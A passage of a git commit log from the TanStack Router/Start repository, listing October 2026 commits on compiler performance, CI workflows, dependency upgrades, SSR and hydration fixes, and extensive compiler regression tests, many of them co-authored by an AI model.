  parent compiler's state.
- The RSC resolver hook skips unchanged writes in dev, like the non-RSC
  hook.

* docs: drop the COMPILER_ARCHITECTURE.md change
2026-10-19 08:50:39 +02:00
Shkumbin Hasani
d9b07e8d3b
perf(start-plugin-core): skip resolving member calls on non-namespace receivers (#8758)
* perf(start-plugin-core): skip resolving member calls on non-namespace receivers

A top-level `a.b()` initializer was a direct-call candidate for any `a`, so
`const Input = z.object({...})` resolved `z` and, in dev, loaded and parsed all
of zod through `?server-fn-module-lookup` while every compiled file waited.

For a receiver that is not a namespace import, resolution gives the call the
kind of the receiver itself, which only yields a candidate when the receiver
is an env-only factory and the code calls one of its properties. Skip those
calls; namespace calls, identifier calls and method chains resolve as before.

Refs #8757

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* test(start-plugin-core): cover member calls across compiler modes

---------

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
Co-authored-by: Sheraff <me@florianpellet.com>
2026-10-18 23:17:05 +02:00
Flo
a8f4dce5f4
ci: skip bundle size comment on fork pull requests (#8764) 2026-10-18 22:51:44 +02:00
Flo
336fdfba42
ci: skip labeler on fork pull requests (#8763) 2026-10-18 22:46:57 +02:00
Manuel Schiller
b1b111761b
bump node version to 26.10.0 (#8509)
* bump node version to 26.10.0

* run benchmarks on  .nvmrc changes

* Rename client-nav-benchmarks.yml to benchmarks.yml

* chore(ci): update references to the renamed benchmarks workflow

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-17 17:04:18 +02:00
Flo
76cd9e178d
ci: keep bundle-size measurement out of the Test workflow (#8669)
The measurement target was named `build`, so `test:pr`/`test:ci` and
`build:all` picked it up via `--targets=...,build`. Its cache entry was
never reused: the Bundle Size workflow runs with NX_NO_CLOUD and
--skipRemoteCache. Rename it to `measure` (with explicit `cache: true`,
previously inherited from the `build` target default).

Since dependency-only changes no longer reach this target through
`nx affected`, add `.nvmrc`, `package.json` and `pnpm-lock.yaml` to the
Bundle Size workflow path filters so toolchain bumps are still measured.

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-17 12:35:23 +02:00
Flo
647cb737a5
refactor(router-plugin): remove enableRouteGeneration option (#8737)
Disabling route generation also silently disabled autoCodeSplitting,
because the code splitter relies on route metadata populated by the
generator. Remove the option instead of patching the interaction, so the
generator always runs.

Closes #5087

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-17 12:22:15 +02:00
Flo
32a3360cba
docs(skills): reference cross-package skills by intent ID (#8670)
@tanstack/intent 0.5.4 rejects SKILL.md links that resolve outside the
owning package, which fails the "Validate intent skills" CI job. Replace
those relative links with `<package>#<skill>` identifiers that
`intent load` resolves regardless of node_modules layout.

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-17 11:10:53 +02:00
Flo
689a7c5419
fix(react-router): publish agent skills (#8671)
The skills added in #6866 were never published for @tanstack/react-router
because its `files` list, unlike the other packages with skills, omitted
`skills`.

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-17 09:11:16 +02:00
github-actions[bot]
caaf32da35
ci: Version Packages (#8733)
ci: changeset release

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2026-10-16 23:05:28 +02:00
Max Katz
18154b1c45
perf: lower manifest script preload priority (#8212)
* perf: lower manifest script preload priority

* fix(start-server-core): forward fetchPriority into static Early Hints

Static script hints were built from getScriptPreloadAttrs but copied only
href, rel, as and crossOrigin, so Chromium started hinted preloads at
MEDIUM before the HTML's fetchPriority="low" arrived. Build them with the
shared addEarlyHintFetchAttrs helper, which the dynamic hint path already
uses, so fetchPriority (and crossOrigin) are carried into 103 hints and the
response Link header.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* test: cover low-priority manifest preloads in Solid and Vue

Add a Solid server-suite SSR test for module and IIFE preloads and assert
fetchpriority="low" on rendered preloads in the Solid and Vue HeadContent
tests.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* docs: note low-priority JavaScript Early Hints

Mention that JavaScript Early Hints carry fetchpriority=low and extend the
changeset to start-server-core.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

---------

Co-authored-by: Manuel Schiller <6340397+schiller-manuel@users.noreply.github.com>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-16 15:35:33 +02:00
Manuel Schiller
7a06725038
chore(deps): upgrade Vitest to 5 and migrate benchmarks to the bench fixture (#8723) 2026-10-16 00:41:32 +02:00
Flo
6777b8b0a5
add AI rules to CONTRIBUTING.md (#8714) 2026-10-14 17:40:27 +02:00
github-actions[bot]
140efa4347
ci: Version Packages (#8701)
ci: changeset release

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2026-10-14 16:46:30 +02:00
Flo
fdc10fa13f
chore(deps): bump srvx to ^1.0.0 and @vitejs/plugin-rsc to ^0.5.37 (#8708)
* chore(deps): bump srvx to ^1.0.0

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* chore(deps): bump @vitejs/plugin-rsc to ^0.5.37

0.5.37 depends on srvx ^1.0.5, which drops the last srvx 0.11 copy from
the lockfile. It is temporarily excluded from minimumReleaseAge until it
is 24h old.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* chore: drop minimumReleaseAge exclusion for @vitejs/plugin-rsc

0.5.37 is now older than the 24h minimum release age.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* test(ci): TEMP experiment - rsc e2e on srvx 0.10 (revert before merge)

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* Revert "test(ci): TEMP experiment - rsc e2e on srvx 0.10 (revert before merge)"

This reverts commit 2c7279a0b9.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-14 15:24:04 +02:00
Flo
08181cc1f7
test(rsc): make progressive streaming e2e tests independent of fixed sleeps (#8713)
test(rsc): wait for streamed notifications instead of fixed sleeps

The progressive-streaming tests slept 500ms and expected the initial batch
of 3 notifications to be rendered. React throttles Suspense reveals by
300ms, so the batch can legitimately land after that window. Wait for the
3rd notification, assert the stream is still open with fewer than all
notifications, then wait for the next one and for completion.

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-14 15:04:11 +02:00
Flo
71d9694da6
chore(deps): bump fetchdts to ^0.2.0 (#8710)
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-14 00:53:46 +02:00
Flo
a80cd74105
chore(router-cli): replace yargs with cac (#8711)
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-14 00:51:58 +02:00
Flo
923d98b18b
chore(deps): bump diff to ^9.0.0 (#8709)
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-14 00:28:28 +02:00
github-actions[bot]
4ff63eb8a4
ci: Version Packages (#8700)
ci: changeset release

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2026-10-13 01:43:37 +02:00
Manuel Schiller
ff85a51deb
docs (#8699) 2026-10-13 01:35:59 +02:00
Manuel Schiller
740b0ce177
perf: skip unused Start request setup (#8451)
Create the request middleware deduplication set only when request
middleware is configured, and pass Start's serialization adapters to the
router without copying them when the router adds none.

Server route handlers and route middleware now receive the router's
decoded pathname, the one used for route matching.

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-13 01:33:36 +02:00
Manuel Schiller
d6ba115d57
perf: reuse prepared SSR request locations (#8441) 2026-10-13 01:33:36 +02:00
github-actions[bot]
80e2eabf48
ci: Version Packages (#8661)
ci: changeset release

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2026-10-13 01:14:33 +02:00
Sarah Gerrard
4104b8ef11
fix(start-plugin-core): preload transitive static imports and fix Rsbuild shared-chunk CSS (#8695)
* fix(start-plugin-core): preload transitive static imports and fix Rsbuild shared-chunk CSS

Route preloads read a chunk's `imports` as a complete list, which only
holds when the bundler hoists transitive imports. Walk the static import
graph instead, and derive Rsbuild chunk imports from the module graph
rather than chunk-group siblings so shared chunks stop attaching
unrelated route CSS to the SSR response.

Fixes #8415
Fixes #8511

* refactor(start-plugin-core): share one static import walk for preloads and CSS

The manifest builder walked the static import graph twice, once breadth-first
for preloads and once recursively for stylesheets. A single memoized
depth-first walk now records discovered file names for preloads and chunks in
post-order for stylesheets, which also keeps every chunk in an import cycle
seeing the whole cycle instead of a partially cached result.

The Rsbuild adapter resolved static dependency chunks again for every CSS-only
chunk reached from each importer; the resolution is now memoized per chunk.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>

* docs(start-plugin-core): drop Rollup from the imports contract comments

Rollup is no longer a supported client bundler, so the `imports` contract is
described in terms of the direct-imports-only lists Rolldown and Rsbuild emit.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>

---------

Co-authored-by: Manuel Schiller <6340397+schiller-manuel@users.noreply.github.com>
Co-authored-by: Claude Fable 5.1 <noreply@anthropic.com>
2026-10-13 01:07:27 +02:00
Manuel Schiller
f243c61e95
Start stable (#8696) 2026-10-13 00:45:16 +02:00
Manuel Schiller
021e05da71
chore: remove experimental Nitro v2 Vite plugin (#8537) 2026-10-13 00:42:07 +02:00
Manuel Schiller
550f478810
refactor(start)!: remove the deprecated inputValidator (#8694)
* refactor(start)!: remove the deprecated inputValidator

createServerFn().inputValidator() and createMiddleware().inputValidator()
were deprecated aliases of validator(). Remove both, the inputValidator
option the builders set, and the compiler's deprecation warnings, so
validator() is the only way to declare a validator. Server functions now
store their validator under the key middleware reads.

The compiler test of diagnostic locations across line terminators now
checks the code frame of the destructuring diagnostic instead of the
removed warning.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* docs(agents): do not test that a removed API is gone

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-13 00:32:10 +02:00
Manuel Schiller
94d6d8e496
response reconciliation (#7588) 2026-10-13 00:01:04 +02:00
Flo
f3d7ee3374
fix(start-plugin-core): declare image and news namespaces in sitemap.xml (#8692)
The sitemap writer emitted image:* and news:* elements, but <urlset> only
declared the default sitemap namespace and xmlns:xhtml. xmlbuilder2
serialized those elements with xmlns="" and an undeclared prefix, so
sitemaps with images or news were not namespace-well-formed XML. Declare
xmlns:image and xmlns:news on <urlset>.

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-12 22:38:03 +02:00
Flo
19524ccdd7
fix(start-plugin-core): keep prerender-specific properties out of public pages.json (#8691)
* fix(start-plugin-core): keep prerender credentials out of public pages.json

pages.json and sitemap.xml are now built from schema-validated public page
fields, so prerender headers and extra data returned by prerender.onSuccess
are stripped from the published files. Invalid sitemap metadata returned by
prerender.onSuccess now fails the build with an error naming the page and
the offending field.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* docs(changeset): describe previous onSuccess sitemap behavior accurately

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-12 19:43:29 +02:00
Flo
57bd1a92f9
fix(router-generator): don't scaffold over a route file mid in-place save (#8664)
* fix(router-generator): don't scaffold over a route file mid in-place save

An in-place save truncates the file and then writes it. If the generator
reads the route file in between, it sees empty content and scaffolds a
template. Its mtime guard before renaming the template into place does not
catch the completed save, because the truncation and the write usually share
one mtime tick on Linux, so the user's content was replaced by the template.

Route file writes now also confirm the file still has the content the
generator read before replacing it.

This was the main cause of flaky tanstack-react-start-e2e-hmr runs, where SSR
rendered `Hello "/route"!` after the test restored a route file.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* fix(router-generator): check for concurrent saves right before the rename

safeFileWrite compared the target's mtime and content before preparing the
temporary file's mode and owner, so a save completing during those steps was
still replaced. Run the check last, immediately before the rename.

The regression test now also completes the save during the temporary file
stat, and keeps the generator's tmpDir inside the test directory so the
rename never crosses filesystems (EXDEV on CI).

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* test(router-generator): match generator paths on Windows in concurrent save test

The generator reads route files through forward-slash paths, also on Windows,
so compare resolved paths when injecting the concurrent save.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* perf(router-generator): only read files whose content is compared

The final concurrent-change check before the rename read the whole target
file even for the route tree, whose content is never compared. Stat it
instead, as before, and read only route files.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-11 10:23:54 +02:00
Guru 🦄
e66da18266
fix(router-plugin): remove redundant string excludes from the reference filter (#8655)
* fix(router-plugin): remove redundant string excludes from the reference filter

* fix(router-plugin): remove unused tsrShared import
2026-10-10 19:51:17 +02:00
Flo
4fea98aff8
test(start-plugin-core): match Rolldown module ids on Windows in bundled dev styles test (#8660)
Rolldown module ids use forward slashes on Windows, so looking up the
native entry path never matched and the test waited until it timed out.

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-10 18:27:40 +02:00
Flo
e26735166f
ci: test the compilers on Windows, macOS, Linux arm64 and musl (#8626)
* ci: test the compilers on Windows, macOS, Linux arm64 and musl

The main PR workflow only runs on Linux x64 (glibc). The compilers load a
native Yuku binary per platform and handle platform-specific paths, so run
their unit tests and Vite and Rsbuild production builds of the React Start
e2e app on the other platforms we ship to. Runs on PRs touching the
compiler packages or the lockfile, weekly, and on demand.

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>

* ci: run all compiler platforms in one matrix job and keep LF on Windows

Merge the musl job into the matrix through a matrix container, so the
install, test and build steps exist once. Disable autocrlf before checkout:
Windows runners otherwise check out the LF snapshot files as CRLF and every
file snapshot mismatches.

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>

* ci: check out LF on Windows compiler runs

With `* text=auto`, disabling core.autocrlf alone still converts text files
to the native (CRLF) eol on Windows, so also set core.eol=lf.

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
2026-10-10 17:23:18 +02:00
Flo
42a7914cd5
test: format compiler output before comparing snapshots (#8658)
* test: format compiler output before comparing file snapshots

The router-plugin and start-plugin-core compiler snapshots record the
layout choices of the code generator (object wrapping, blank lines,
parentheses around JSX) along with the emitted program, so swapping the
code generator rewrites most snapshot files even when the output is the
same.

Format the output with Prettier before comparing it: fixed options,
`objectWrap: 'collapse'`, and blank lines outside template literals
removed. Comments are kept. Output that does not parse is compared as is.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* test: regenerate compiler snapshots with formatted output

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* test: format inline compiler snapshots before comparing them

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-10 14:09:42 +02:00
github-actions[bot]
c79c620bf4
ci: Version Packages (#8580)
ci: changeset release

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2026-10-10 09:25:30 +02:00
Manuel Schiller
41916400b9
fix(start): preserve dev SSR CSS order (#7830)
* fix(start): preserve dev SSR CSS order

fixes #7794

* add e2e tests for solid and vue, handle vue style urls

* test(start): cover bundled dev styles and SSR reload lifecycle

* fix(start): use completed bundled graph for dev SSR styles

* fix(start): preserve import reachability across bundled dev variants

* test(start): cover layered inline CSS without build observers

* test(start): wait for bundled HMR route registration

* test(start): await HMR readiness in both Vite modes

* test(start): trace initial bundled HMR update in CI

* test(start): trace native bundled HMR watcher in CI

* test(start): inspect initial native watch registrations

* fix(start): support the latest bundled dev toolchain
2026-10-10 09:18:39 +02:00
Flo
f6d21de12b
revert: keep server-rendered pending UI of no-SSR routes through hydration (#8643) (#8646)
This reverts commit ff9f753c09.

#8643 introduced a React hydration mismatch for `ssr: false` and
`ssr: 'data-only'` routes without a pending component: the client load can
commit before React hydrates the route's Suspense boundary, which then
hydrates the route component against the server's pending UI. Revert while a
proper fix is worked on.

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-09 21:41:47 +02:00
Flo
ff9f753c09
fix: keep server-rendered pending UI of no-SSR routes through hydration (#8643)
* fix: keep server-rendered pending UI of no-SSR routes through hydration

Fixes #8640. The server rendered a no-SSR match's pending UI in a
ClientOnly fallback, while the hydrating client renders the presented
pending match through MatchInner. After hydration the switch replaced
(React: hid and duplicated) the server node. Render the server pending UI
through the same MatchInner pending path and drop the ClientOnly wrapper.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* test: cover terminal no-SSR boundaries through hydration

Add error, notFound and URL not-found cases for `ssr: 'data-only'` and
`ssr: false` boundaries (plus a terminal child below a data-only boundary)
in React, Solid and Vue. Each case asserts the server payload, that the
server skeleton is the only one and is held for `pendingMinMs`, and that no
hydration mismatch is reported. The hold check catches mismatches that React
and Solid error boundaries replace silently.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-09 20:40:06 +02:00
Flo
17a3121ff4
chore: add AI contribution guidance to GitHub templates (#8641) 2026-10-08 20:45:44 +02:00
VihaanAgarwal
663282b0eb
fix(router-core): avoid null bytes in dehydrated SSR match ids (#7654)
* fix(router-core): avoid null bytes in dehydrated SSR match ids

dehydrateSsrMatchId replaced "/" with U+0000 so dehydrated ids would not
look like crawlable URLs (#6739). U+0000 is forbidden in the HTML input
stream though, so the inlined hydration payload tripped a
control-character-in-input-stream parse error and failed markup
validation. Encode with U+FFFD instead, which is valid in HTML and which
hydrateSsrMatchId already decodes back to "/".

* test(router-core): cover legacy null-byte decode in hydrateSsrMatchId

The codec keeps the U+0000 -> "/" decode branch so SSR payloads from a deploy before the U+FFFD switch still hydrate. That branch was the one path the suite didn't exercise, so add a test for it.

* fix(router-core): compare SSR match ids in encoded form

Encode slashes as U+FFFD with no further escaping, and have the client
encode its own match id instead of decoding the server's. Payload and
client always ship from the same build, so the legacy null-byte decode
and the reversible escape scheme are no longer needed.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* perf(router-core): keep dehydrated SSR match ids one-byte

A U+FFFD delimiter made V8 widen the encoded ids, and every HTML string
concatenated with them, to two-byte strings, slowing Solid SSR
serialization by ~5%. Use ASCII `|` instead.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* fix(router-core): delimit dehydrated SSR match ids with '#'

`|` is a valid static route character, so `/a/b` and `/a|b` encoded to
the same id. A decoded pathname keeps `%23` encoded and params encode
`#`, so a matched id cannot get a '#' from the URL. Seroval emits it
unescaped and it keeps the HTML one-byte.

Tighten the regression test to reject any non-whitespace control
character and any char above U+00FF in the inlined hydration HTML.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

---------

Co-authored-by: Flo <me@florianpellet.com>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-08 08:27:20 +02:00
Flo
5a641d859c
test: cover compiler output validity and edge cases for code splitting, Hydrate, server functions and the route generator (#8629)
* test(router-plugin, start-plugin-core): cover compiler output regressions

Add engine-agnostic regression tests for compiler output found while
reviewing the compiler migration (#8504). They only use the public
compiler entry points and validate emitted code with Vite's Oxc
transform/parser (TypeScript erased, parsed as a JS module with semantic
checks), so they run unchanged against any compiler implementation.

router-plugin:
- every emitted code-splitter module stays valid for re-exported imports,
  partially exported destructuring and anonymous default exports
- self-/mutually-referencing side effects stay in the reference module
- namespace imports used by `import X = ns.X` and decorator placement
  before `export` are preserved
- React Refresh hoisting keeps closures in scope, hoists the root route
  component, and declares hoisted components before use

start-plugin-core:
- self-referencing user code survives client and server compilation
- nested and switch-case createServerFn keep provider modules valid
- aliased createClientOnlyFn re-exports are transformed in SSR
- Hydrate split modules: parent/fallback-only bindings are removed, text
  children render decoded entities, `'use client'` stays first

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>

* test: require hoisting and declared bindings in compiler regression tests

- The React Refresh ordering test now requires the inline pendingComponent
  to be hoisted instead of passing when it stays inline, since main hoists it
  and React Refresh needs a top-level binding.
- The self-referencing side-effect tests also assert that each binding the
  callbacks use is still declared. The module validator does not report
  references to undeclared names. The Start variant now validates the module.

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>

* test(router-plugin, start-plugin-core, router-generator, react-start-rsc): cover compiler edge cases

Engine-agnostic tests through public compiler entry points, passing on
main. They cover:

- code-splitter module state shared with exported functions, `var`
  declared inside top-level statements, long method chains, duplicate
  split keys, split options that read `Route`, route options declared
  in a variable, re-exports, type-only syntax, private class members,
  and namespace JSX tags
- the code-splitter plugin pipeline: analysis cache keys and eviction,
  plugin-level `splitBehavior`, config `deleteNodes`, and the
  non-split HMR plugin for Solid and Vue
- the route generator transform with parenthesized call parts, and
  byte-exact edits after a BOM or astral characters
- the Start compiler: dev-mode server function ids, provider
  directives, handler name versioning, provider export removal,
  cross-module factory resolution, invalidation, and diagnostic
  locations
- Hydrate children with block-bodied callbacks, self-closing
  boundaries, captures, split attributes, and the virtual module cache
- import-protection exports, member-chain boundaries, source-mapped
  locations, and executed denied-import rewrites
- RSC CSS transform import shapes and argument unwrapping

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>

* test(start-plugin-core): port Next.js server actions fixtures to createServerFn

Translate the scenarios of Next.js's server-actions transform fixtures
(crates/next-custom-transforms/tests/fixture/server-actions) to the
createServerFn client, SSR caller and provider outputs: captured module
bindings, shadowing, destructuring, handler forms, directives, export
forms, non-ASCII names and client/server-only code side by side.

The destructuring default and computed-key cases pass on main and fail
with the Yuku compiler (#8504), which keeps every sibling of a live
destructuring and with it a server-only import in the client output.

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>

* test(router-plugin): port Next.js SSG and React Router route-chunk splitting scenarios

Translate edge cases from Next.js's SSG transform fixtures and React Router's
route-chunks / remove-exports tests into code-splitter coverage: imports used
in JSX positions, shadowed names, transitive pruning of every declaration
kind, destructurings and multi-declarator statements split across groups,
mutually recursive shared helpers, nested-scope dependency analysis, helpers
shared with the loader, top-level calls on imports and split chunk source
maps. All scenarios already behave correctly; these tests pin them.

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>

* test(start-plugin-core, router-plugin): port Qwik optimizer extraction edge cases

Port capture and extraction scenarios from the Qwik optimizer test suite
(QwikDev/qwik, packages/optimizer/core/src/test.rs) to the Hydrate split
transform, server function extraction and route code splitting. All of
them pass with both the Babel and the Yuku compiler.

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>

* test(router-plugin, start-plugin-core): cover real-world compiler shapes

Adds regression coverage derived from a differential audit of in-repo
examples/e2e apps and open-source TanStack Router/Start apps:

- split chunks import exported route-file bindings instead of copying them
- declarations and imports only referenced from TypeScript types survive
  (classic JSX runtime React imports, side-effecting initializers)
- TypeScript type and value exports sharing a name compile
- file-level JSX pragmas stay in split chunks and Start compiler output
- ambient declarations are not imported from the shared module
- chained comparisons in plain JavaScript route files keep their operands
- real-world route file names go through the code-splitter plugin pipeline

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>

* test(router-plugin, start-plugin-core): port React Compiler fixture shapes

Wrap component bodies adapted from the React Compiler fixture corpus into
route files and Start modules:

- split route components and Hydrate chunks render like the original for
  labeled breaks, shadowing catch params and function names, destructuring
  defaults, getters/computed keys, hoisted functions, optional call chains,
  tagged templates and classes with static blocks/private fields
- server function handlers that read a server-only import through unusual
  syntax positions keep it off the client
- unused locals with side-effectful initializers (hook calls) in shared route
  modules and Hydrate chunks still run; these fail on the Yuku migration,
  which removes them

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>

* test: cover exported route variables in split chunks and JSX pragma forms

- Split chunks import exported route-file variables (contexts, stores and
  caches built from private bindings) from the route module instead of
  redeclaring them.
- The Start compiler keeps JSX pragmas in the Hydrate chunk, line-comment and
  license-header forms, classic `@jsx` with `@jsxFrag`, and after a
  `'use client'` directive.

Both pass on main and on #8504 after its fixes.

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>

* test(start-plugin-core): port SolidStart directive and Waku allowServer edge cases

Translate SolidStart's "use server" directive compiler tests and helpers
(type-only import specifiers, rejected server fn positions, captured
this/arguments/super/private members, id stability and opacity, Hydrate
closure captures) and Waku's allowServer transform tests (dependency
pruning, aliasing, default exports, untouched look-alikes, zero-argument
factories, trailing comments) into Start compiler coverage for React and
Solid.

The import-alias namespace test passes on main and fails on the Yuku
compiler (#8504), which deletes the aliased namespace.

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>

* test(router-plugin): port React Refresh and solid-refresh scenarios to route HMR

Covers which route component shapes React Refresh registers after the HMR
transforms (checked with Vite's Oxc React Refresh transform), hook
signatures, @refresh reset, generated-name collisions, and the module shape
solid-refresh expects (registrable components, @refresh reload/skip,
top-level createContext).

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>

* test(router-plugin, start-plugin-core, react-start-rsc): port @vitejs/plugin-rsc transform edge cases

Port scope, hoisting, export-shape, export * and directive scenarios from
@vitejs/plugin-rsc's transform tests (vitejs/vite-plugin-react, MIT) to the
Start compiler (server fn providers and callers, env-only functions, Hydrate
chunks), the route code splitter and the RSC CSS transforms.

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>

* test: port babel-dead-code-elimination and Turbopack tree-shaker scenarios

Port dead-code-elimination scenarios (pcattori/babel-dead-code-elimination)
and Turbopack tree-shaker analyzer fixtures (vercel/next.js) to the code
splitter and the Start compiler: import specifier pruning, initially unused
declarations and cycles, SCC removal, write-only bindings, nested patterns
with rests and defaults, empty parameter patterns, var declarations nested
in top-level statements, import attributes, typeof references, enum IIFEs,
shared mutable state and statement order in the provider.

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>

* test(router-plugin): share compiler regression test helpers

The regression suites each re-implemented the same plumbing. Move it into
`tests/regression-helpers.ts`:

- `compileRouteModules` (reference, virtual chunks and shared module, with
  optional route HMR, Solid target or file name) and `expectValidModules`,
  previously copied into 12 files
- `buildAndRun`, the Vite build-and-run harness copied into 5 files
- `createCodeSplitterTransforms` and `transformWithRouteHmrPlugin`, which
  drive the bundler plugins the way a bundler does
- `evaluateModule`, the JSX-to-text module evaluator copied into 3 files

No test is added, removed or renamed.

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>

* test(start-plugin-core): share compiler regression test helpers

The regression suites each built their own `StartCompiler`, output compiler,
Start runtime stubs and `<Hydrate>` chunk loader. Move them into
`tests/regression-helpers.ts`:

- `createStartCompiler`, `compileFor`, `compileCode` and `compileAll` (client,
  SSR caller and provider outputs, validated), previously built in 10 files
- `importModule`, `callProvider`, `importSources` and `settle`, with one
  minimal Start runtime instead of four variants
- `compileHydrate`, `getChunkParams`, `getChunkIds`, `loadChunk`,
  `evaluateModule` and `renderChunk`, previously copied into 6 files

No test is added, removed or renamed.

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>

* test(react-start-rsc): share the RSC CSS transform compile helper

Both RSC CSS transform regression suites defined the same compile helper
and a copy of the module validator; move the helper into
`tests/regression-helpers.ts` and reuse start-plugin-core's validator.

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>

* test(router-plugin): merge duplicated compiler regression tests

Remove tests whose input shape and assertions another suite already covers,
folding any unique assertion into the surviving test:

- code-splitter-real-world: the two "split chunks share exported route-file
  bindings" compile checks duplicate code-splitter-exported-bindings (the
  built-app check stays); "file-level JSX pragmas" duplicates the
  @jsxImportSource cases of code-splitter-jsx-pragmas, which now also check
  that Oxc selects the pragma's JSX runtime for every split chunk.
- ported-react-compiler-fixtures: "a catch parameter shadowing a module
  binding" duplicates the plugin-rsc "next to a catch parameter of the same
  name" case, which now names both sources.
- ported-nextjs-ssg: "moves one declarator of a multi-declarator statement
  into the split chunk" duplicates the React Router "plain declarators" case,
  which now also asserts where each declarator is declared.

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>

* test(start-plugin-core): merge duplicated compiler regression tests

- The SolidStart "local types used by split children are not passed as
  props" Hydrate test duplicates the Qwik "local types used by the children
  are not captured as values" test; the Qwik test now also covers JSX type
  arguments and asserts that no type is passed as a prop.
- start-compiler-edge-cases "does not duplicate a directive the module
  already has" becomes a case of the plugin-rsc "provider module directives"
  table, which also checks the prologue and module validity.
- The single test of aliased-env-only-fns.test.ts moves to the
  "cross-module factory resolution" tests of start-compiler-edge-cases, where
  its output is also validated.

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>

* test(router-generator): merge the parenthesized route call transform tests

transform-parenthesized.test.ts duplicated the `transform` harness of
transform-preservation.test.ts; move its tests there.

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>

* test(router-plugin): keep covering configs without the router plugin

Before the code-splitter transforms were shared, the real-world file-name
test resolved a Vite config that did not list the router plugin, which
covers the early return of the plugin-order check. Let the shared helper
take the config's plugins and keep that case.

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>

* test(router-plugin): regroup compiler regression tests by behaviour

Dissolve the ported-* and code-splitter edge-case files into behaviour
files (dead code, imports/exports, module state, pragmas, route options,
scope), drop duplicate cases and vacuous assertions, and replace the five
